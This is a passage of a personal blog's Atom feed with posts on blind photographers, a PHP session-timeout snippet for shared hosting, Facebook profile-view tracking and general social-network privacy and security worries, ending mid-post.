class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8217657016095151920?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8217657016095151920/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8217657016095151920' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8217657016095151920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8217657016095151920'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/01/interesting-broadcast-group-key.html' title='Interesting broadcast group key management schemes'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-607853650080384238</id><published>2010-01-20T13:16:00.005-05:00</published><updated>2010-03-18T00:52:43.900-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='inspiration'/><title type='text'>'Sights unseen' photography</title><content type='html'>When I first saw the subject of an ongoing photography exhibition '&lt;a href="http://www.photovoice.org/html/exhibitionsandevents/upcoming/"&gt;sights unseen&lt;/a&gt;' in the news, I was so exited and was like 'this must be a collection of really cool photos I have hardly seen before'. But my first impression about the exhibition was wrong. However, I found it not only EVEN MORE exciting, but it's inspiring! It's a collection of really cool photos taken by people who are not fortunate enough to see. This &lt;a href="http://news.bbc.co.uk/1/hi/magazine/8466714.stm"&gt;bbc audio slideshow&lt;/a&gt; tells it all.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/S1dMZAFXg8I/AAAAAAAACRI/YixGShqv_6A/s1600-h/Sightsunseen.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 250px; height: 186px;" src="http://1.bp.blogspot.com/_tMhXppp4NpE/S1dMZAFXg8I/AAAAAAAACRI/YixGShqv_6A/s320/Sightsunseen.jpg" alt="" id="BLOGGER_PHOTO_ID_5428891868221375426" border="0" /&gt;&lt;/a&gt;(A photo taken by a blind person)&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;All this time it was wired into my brain that, if you are blind you cannot take photographs. I was proved wrong! And it goes well with good old proverbs.&lt;br /&gt;&lt;br /&gt;As I was Googling about the subject, I found the link that &lt;a href="http://www.photovoice.org/"&gt;photography can be a tool for social change&lt;/a&gt; quite interesting.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-607853650080384238?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/607853650080384238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=607853650080384238' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/607853650080384238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/607853650080384238'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/01/sights-unseen-photography.html' title='&apos;Sights unseen&apos; photography'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tMhXppp4NpE/S1dMZAFXg8I/AAAAAAAACRI/YixGShqv_6A/s72-c/Sightsunseen.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5244199955097540041</id><published>2010-01-17T17:11:00.002-05:00</published><updated>2010-01-17T17:41:36.411-05:00</updated><title type='text'>"Never, never, never quit"</title><content type='html'>I truly admire the spirit of &lt;a href="http://www.nydailynews.com/lifestyle/health/2010/01/17/2010-01-17_the_crowley_family_portayed_in_extraordinary_measures_fought_to_find_cure_for_po.html"&gt;this story&lt;/a&gt;. Life is full of challenges; stories like this (&lt;a href="http://www.toddhuston.com/"&gt;and also this&lt;/a&gt;) remind us that we can overcome those challenges if we believe and act. Some people may not end up being the winners always, but we have to admire &lt;a href="http://sports.espn.go.com/espn/espn25/story?page=moments/94"&gt;their spirit&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5244199955097540041?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5244199955097540041/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5244199955097540041' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5244199955097540041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5244199955097540041'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/01/never-never-never-quit.html' title='&quot;Never, never, never quit&quot;'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4504658388829900685</id><published>2010-01-15T06:25:00.003-05:00</published><updated>2010-01-15T06:31:31.807-05:00</updated><title type='text'>Effects of the failed christmas bomber..</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.rall.com/uploaded_images/1-7-10-720155.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 720px; height: 542px;" src="http://www.rall.com/uploaded_images/1-7-10-720155.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.cartoonistgroup.com/properties/luckovich/art_images/cg4b3bdd73412f20.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 600px; height: 455px;" src="http://www.cartoonistgroup.com/properties/luckovich/art_images/cg4b3bdd73412f20.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;(Source: http://www.cartoonistgroup.com)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4504658388829900685?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4504658388829900685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4504658388829900685' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4504658388829900685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4504658388829900685'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/01/effects-of-failed-christmas-bomber.html' title='Effects of the failed christmas bomber..'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-6050672007857882900</id><published>2009-12-12T00:28:00.002-05:00</published><updated>2009-12-12T00:46:33.760-05:00</updated><title type='text'>How to increase the PHP session timeout time in a shared host?</title><content type='html'>I found&lt;a href="http://www.captain.at/howto-php-sessions.php"&gt; this link&lt;/a&gt; useful.&lt;br /&gt;&lt;br /&gt;(In a shared host, you've got to have your own folder to store your session data; otherwise, the garbage collector (which is invoked with the probability session.gc_probability(default value is 1)/session.gc_divisor (default value is 100) based on the global session timeout time session.gc_maxlifetime) may inadvertantly erase your session data).&lt;br /&gt;&lt;br /&gt;Here's what I have at the top of each php file (extracted from the above link):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&amp;lt;?php&lt;br /&gt;$id &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;session_id&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;is_null&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$id&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) || &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;strcmp&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$id&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;""&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) == &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$cookie_path &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"/"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$cookie_timeout &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;60 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;* &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;60&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;; &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// in seconds&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$garbage_timeout &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$cookie_timeout &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;600&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;; &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// in seconds&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;session_set_cookie_params&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$cookie_timeout&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$cookie_path&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;ini_set&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'session.gc_maxlifetime'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$garbage_timeout&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;strstr&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;strtoupper&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;substr&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_SERVER&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"OS"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;], &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)), &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"WIN"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) ?&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sep &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"\\" &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;: &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sep &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"/"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sessdir &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;ini_get&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'session.save_path'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sep&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"ek_sessions"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;    if (!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;is_dir&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sessdir&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)) {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;mkdir&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sessdir&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0777&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;ini_set&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'session.save_path'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$sessdir&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;session_start&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-6050672007857882900?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/6050672007857882900/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=6050672007857882900' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6050672007857882900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6050672007857882900'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/12/how-to-increase-php-session-timeout.html' title='How to increase the PHP session timeout time in a shared host?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8501500785099835940</id><published>2009-12-11T22:36:00.006-05:00</published><updated>2009-12-11T22:56:21.531-05:00</updated><title type='text'>Can I know who’s viewing my FB profile?</title><content type='html'>&lt;a href="http://www.facebook.com/help.php?page=839"&gt;FB Answer&lt;/a&gt;: (Merely browsing won't track you down (unless you consent to install an app that may track your moves). Good news for stalkers???)&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Facebook currently does not provide an application that allows users to track profile views or statistics on the views of any specific user content. Third party developers, however, may offer applications that provide some of this functionality. Please keep a few things in mind for these applications: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(255, 0, 0);"&gt;Applications CANNOT track profile visits for users who simply go to another person's profile; Facebook has made this technically impossible. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; In order to be tracked by an application, you will need to specifically agree to allow the application to track your actions. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Adding an application that provides this functionality is purely optional. If you do not want to participate, please do not add the application to your account.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Apparently, if you develop a such FB application to track users who visits your profile, it's a violation of terms.&lt;br /&gt;&lt;br /&gt;I have seen claims about being able to track visitors your profile in FB, they simply seem to be incorrect. I have also seen claims about this ability in other social networks, but I don't know the truth behind such claims.&lt;br /&gt;&lt;br /&gt;A question for social networks in general:&lt;br /&gt;Is it good or bad for FB to provide the functionality to see profile stats to profile owners? pros/cons for FB? pros/cons for users (owner, viewers)? [IMO, this is a multi-faceted question; there is no definitive answer - need to consider many different aspects; and I am not in a position nor knowledgeable enough to answer this question.]&lt;br /&gt;I, as a user, personally prefer if FB provides at least some anonymous statistics.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8501500785099835940?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8501500785099835940/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8501500785099835940' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8501500785099835940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8501500785099835940'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/12/can-i-know-whos-viewing-my-profile.html' title='Can I know who’s viewing my FB profile?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-2697579276181783931</id><published>2009-12-07T18:31:00.001-05:00</published><updated>2009-12-07T18:32:46.736-05:00</updated><title type='text'>What others can collect from your browser?</title><content type='html'>&lt;a href="http://browserspy.dk/"&gt;BrowserSpy&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-2697579276181783931?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/2697579276181783931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=2697579276181783931' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2697579276181783931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2697579276181783931'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/12/what-others-can-collect-from-your.html' title='What others can collect from your browser?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1328605180976224661</id><published>2009-12-07T17:53:00.002-05:00</published><updated>2009-12-07T18:20:30.514-05:00</updated><title type='text'>Are we risking only privacy in social networks?</title><content type='html'>The answer is a clear no. In fact, I recently noted &lt;a href="http://mohamednabeel.blogspot.com/2009/12/why-i-dont-have-dob-listed-in-fb.html"&gt;some possible security threats by just revealing your DoB alone&lt;/a&gt;. Some more simple layman thoughts on it..(in this post I am not talking about technical vulnerabilities of the social networs; there have already been several exploits)&lt;br /&gt;&lt;br /&gt;We are kinda addicted to social networks such as facebook, twitter, myspace etc. Social networks are great to get connected with old friends and stay in touch with friends and families.  And also to be up to date with technology, news, what's happening around us and know what others are upto. We love interacting with others and being connected. There is nothing wrong about it; but there is a limit, above which it could be harmful. The whole network works based on trust. Just one weak link of trust is sufficient to cause all sorts of troubles.&lt;br /&gt;&lt;br /&gt;a couple of examples:&lt;br /&gt;social networks - physical security??? an interesting combination!&lt;br /&gt;We have seen people tweeting or facebooking, where they are, what their vacation plans, etc. This could be good information for burglers -- we invite and help burglers to break in.&lt;br /&gt;&lt;br /&gt;one social network - and the rest???&lt;br /&gt;There are so many social networks out there..chances are that you are only in a subset of them. Say you are in Facebook and not in Myspace. What does it prevent a bad guy from impersonating you in Myspace? Further, the impersonator can trick your friends to be her friends.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1328605180976224661?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1328605180976224661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1328605180976224661' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1328605180976224661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1328605180976224661'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/12/are-we-risking-only-privacy-in-social.html' title='Are we risking only privacy in social networks?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4482731056001891695</id><published>2009-12-06T11:51:00.002-05:00</published><updated>2009-12-06T12:17:55.113-05:00</updated><title type='text'>United we stand divided we fall</title><content type='html'>(&lt;a href="http://en.wikipedia.org/wiki/United_we_stand,_divided_we_fall"&gt;United we prevail divided we fail&lt;/a&gt;)&lt;br /&gt;I am afraid to say that it is us, the ordinary citizens of SL, not them (who try to get into power or want to keep the power), who are going suffer due to on-going divisions in the country. Don't get me wrong; any country should have a strong opposition to have better governance (so that those who in power do not abuse it). But 50 years after independence we are unable to get rid of the narrow minded attitude to do whatever it takes to come to power or to continue to be in power.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/TB3RBxnn98g&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/TB3RBxnn98g&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4482731056001891695?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4482731056001891695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4482731056001891695' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4482731056001891695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4482731056001891695'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/12/united-we-stand-divided-we-fall.html' title='United we stand divided we fall'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-3078260532249011711</id><published>2009-12-03T20:54:00.006-05:00</published><updated>2009-12-03T22:13:04.817-05:00</updated><title type='text'>Why I don't have the DoB listed in FB?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tMhXppp4NpE/Sxh78bv6Y-I/AAAAAAAACDk/6_K2L00terI/s1600-h/Social+Networking+Image.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 245px;" src="http://2.bp.blogspot.com/_tMhXppp4NpE/Sxh78bv6Y-I/AAAAAAAACDk/6_K2L00terI/s320/Social+Networking+Image.jpg" alt="" id="BLOGGER_PHOTO_ID_5411211230456734690" border="0" /&gt;&lt;/a&gt;If you noticed my FB profile, I only list the birthday (not the DoB). I am not listing the DoB, not because I don't want to reveal my age (of course, someone who is knowledgeable about the contextual information about the FB groups I am in (e.g. Saint Aloysius College - 1998 batch, UoM 1999/2000 batch, etc.) could infer my year of birth), but because of security reasons. DoB - Security??? do you see the connection?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tMhXppp4NpE/Sxh8-l3Hx-I/AAAAAAAACD0/9RHykCingxg/s1600-h/credentials.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 256px;" src="http://4.bp.blogspot.com/_tMhXppp4NpE/Sxh8-l3Hx-I/AAAAAAAACD0/9RHykCingxg/s320/credentials.jpg" alt="" id="BLOGGER_PHOTO_ID_5411212367042693090" border="0" /&gt;&lt;/a&gt;The other day I went to my bank to withdraw some money, but I 